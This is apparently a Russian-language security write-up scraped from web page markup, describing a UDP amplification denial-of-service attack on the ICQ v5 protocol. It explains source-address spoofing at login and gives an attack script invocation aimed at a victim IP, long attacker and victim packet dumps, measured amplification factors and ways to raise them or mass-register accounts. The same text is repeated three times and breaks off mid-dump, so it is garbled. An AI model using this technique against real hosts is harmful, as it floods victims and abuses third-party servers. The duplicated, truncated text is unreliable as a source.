http://www.securitylab.ru/document/icqv5.html ): Length Content Index Description 2 bytes 05 00 VERSION Protocol version 4 bytes 00 00 00 00 ZERO Always zero 4 bytes xx xx xx xx UIN Your UIN 4 bytes xx xx xx xx SESSION_ID Used to prevent spoofing 2 bytes xx xx COMMAND Command 2 bytes xx xx SEQ_NUM1 Sequence inits with a random number 2 bytes xx xx SEQ_NUM2 Inits with 1 (!) 4 bytes xx xx xx xx CHECKCODE variable xx ... PARAMETERS Parameters (все пакеты со стороны клиента шифруются а со стороны сервера - нет, подробнее HREF="http://www.securitylab.ru/document/encrypt-V5.txt"> http://www.securitylab.ru/document/encrypt-V5.txt ) SEQ_NUM1 инициализирован со случайным числом и увеличивается с каждым пакетом на 1 (!) (то есть если первый пакет содержит SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124). SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым пакетом, если не определено другое значение (то есть установка SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE) SESSION_ID - случайное число, которое должно быть постоянным для каждого пакета текущего сеанса, иначе они игнорируются сервером. Кроме того, пакеты сервера отмечены тем же самым значением, чтобы предотвратить имитацию. Нападение заключается в том, что соединяясь с сервером как зарегистрированный пользователь/пользователи, мы подменяем исходный адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке команды CMD_LOGIN). Этим, мы переадресовываем трафик ответа сервера жертве (это возможно не только из-за слабости UDP протокола, но также и из-за предсказуемости правил последовательности SEQ_NUM1 и SEQ_NUM2). Все эти факты – ядро для формирования нападения. Реализация: Чтобы проверить нападение, напишите perl сценарий, который вслепую пошлет пакеты, один за другим с некоторой задержкой. В результате чего получим: % perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 – IP жертвы; 1027 порт) tcpdump атакующего: xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 53 tcpdump жертвы: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable Из дампов мы видим, что жертва отвечает на пакеты, полученные с ICMP недостижимым сообщением, но сервер игнорирует их и продолжает посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из его контактного списка в online. Подсчитывая мы видим, что отношение запроc/ответ примерно равно 330/10110, что соответствует увеличению 1:30. Сценарий: В предыдущей реализации, мы достигли намного не максимального умножения трафика, потому что нападающий использовал довольно короткий контактный список с 8 записями. xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 Однако, возможно послать список из 100 случайных активных пользователей, или списка наших специальных пользователей, которые постоянно находятся в online. xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425 Это приведет к лучшему росту, чем линейный в предыдущем случае. 1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) . . . 18: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 19: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 20: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) и в 10 раз больше, на каждые 20 пакетов... В этот раз коэффициент умножения стал равен 130. Это означает что нападающий может увеличивать этот коэффициент, постоянно ища активных пользователей или создавая и поддерживая их в активном состоянии. Другие сценарии: В других случаях чтобы увеличивать трафик мы можем дополнительно послать запросы поиска (CMD_SEARCH_UIN, CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд выполнялся параллельно, и мы можем это использовать пока сервер думает что мы в online. Описанный выше способ может использоваться не только для DDoS нападений, но также и для быстрой регистрации множества UIN номеров от различных IP. " /> http://www.securitylab.ru/document/icqv5.html ): Length Content Index Description 2 bytes 05 00 VERSION Protocol version 4 bytes 00 00 00 00 ZERO Always zero 4 bytes xx xx xx xx UIN Your UIN 4 bytes xx xx xx xx SESSION_ID Used to prevent spoofing 2 bytes xx xx COMMAND Command 2 bytes xx xx SEQ_NUM1 Sequence inits with a random number 2 bytes xx xx SEQ_NUM2 Inits with 1 (!) 4 bytes xx xx xx xx CHECKCODE variable xx ... PARAMETERS Parameters (все пакеты со стороны клиента шифруются а со стороны сервера - нет, подробнее HREF="http://www.securitylab.ru/document/encrypt-V5.txt"> http://www.securitylab.ru/document/encrypt-V5.txt ) SEQ_NUM1 инициализирован со случайным числом и увеличивается с каждым пакетом на 1 (!) (то есть если первый пакет содержит SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124). SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым пакетом, если не определено другое значение (то есть установка SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE) SESSION_ID - случайное число, которое должно быть постоянным для каждого пакета текущего сеанса, иначе они игнорируются сервером. Кроме того, пакеты сервера отмечены тем же самым значением, чтобы предотвратить имитацию. Нападение заключается в том, что соединяясь с сервером как зарегистрированный пользователь/пользователи, мы подменяем исходный адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке команды CMD_LOGIN). Этим, мы переадресовываем трафик ответа сервера жертве (это возможно не только из-за слабости UDP протокола, но также и из-за предсказуемости правил последовательности SEQ_NUM1 и SEQ_NUM2). Все эти факты – ядро для формирования нападения. Реализация: Чтобы проверить нападение, напишите perl сценарий, который вслепую пошлет пакеты, один за другим с некоторой задержкой. В результате чего получим: % perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 – IP жертвы; 1027 порт) tcpdump атакующего: xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 53 tcpdump жертвы: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable Из дампов мы видим, что жертва отвечает на пакеты, полученные с ICMP недостижимым сообщением, но сервер игнорирует их и продолжает посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из его контактного списка в online. Подсчитывая мы видим, что отношение запроc/ответ примерно равно 330/10110, что соответствует увеличению 1:30. Сценарий: В предыдущей реализации, мы достигли намного не максимального умножения трафика, потому что нападающий использовал довольно короткий контактный список с 8 записями. xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 Однако, возможно послать список из 100 случайных активных пользователей, или списка наших специальных пользователей, которые постоянно находятся в online. xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425 Это приведет к лучшему росту, чем линейный в предыдущем случае. 1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) . . . 18: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 19: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 20: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) и в 10 раз больше, на каждые 20 пакетов... В этот раз коэффициент умножения стал равен 130. Это означает что нападающий может увеличивать этот коэффициент, постоянно ища активных пользователей или создавая и поддерживая их в активном состоянии. Другие сценарии: В других случаях чтобы увеличивать трафик мы можем дополнительно послать запросы поиска (CMD_SEARCH_UIN, CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд выполнялся параллельно, и мы можем это использовать пока сервер думает что мы в online. Описанный выше способ может использоваться не только для DDoS нападений, но также и для быстрой регистрации множества UIN номеров от различных IP. "/> http://www.securitylab.ru/document/icqv5.html ): Length Content Index Description 2 bytes 05 00 VERSION Protocol version 4 bytes 00 00 00 00 ZERO Always zero 4 bytes xx xx xx xx UIN Your UIN 4 bytes xx xx xx xx SESSION_ID Used to prevent spoofing 2 bytes xx xx COMMAND Command 2 bytes xx xx SEQ_NUM1 Sequence inits with a random number 2 bytes xx xx SEQ_NUM2 Inits with 1 (!) 4 bytes xx xx xx xx CHECKCODE variable xx ... PARAMETERS Parameters (все пакеты со стороны клиента шифруются а со стороны сервера - нет, подробнее HREF="http://www.securitylab.ru/document/encrypt-V5.txt"> http://www.securitylab.ru/document/encrypt-V5.txt ) SEQ_NUM1 инициализирован со случайным числом и увеличивается с каждым пакетом на 1 (!) (то есть если первый пакет содержит SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124). SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым пакетом, если не определено другое значение (то есть установка SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE) SESSION_ID - случайное число, которое должно быть постоянным для каждого пакета текущего сеанса, иначе они игнорируются сервером. Кроме того, пакеты сервера отмечены тем же самым значением, чтобы предотвратить имитацию. Нападение заключается в том, что соединяясь с сервером как зарегистрированный пользователь/пользователи, мы подменяем исходный адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке команды CMD_LOGIN). Этим, мы переадресовываем трафик ответа сервера жертве (это возможно не только из-за слабости UDP протокола, но также и из-за предсказуемости правил последовательности SEQ_NUM1 и SEQ_NUM2). Все эти факты – ядро для формирования нападения. Реализация: Чтобы проверить нападение, напишите perl сценарий, который вслепую пошлет пакеты, один за другим с некоторой задержкой. В результате чего получим: % perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 – IP жертвы; 1027 порт) tcpdump атакующего: xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 53 tcpdump жертвы: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 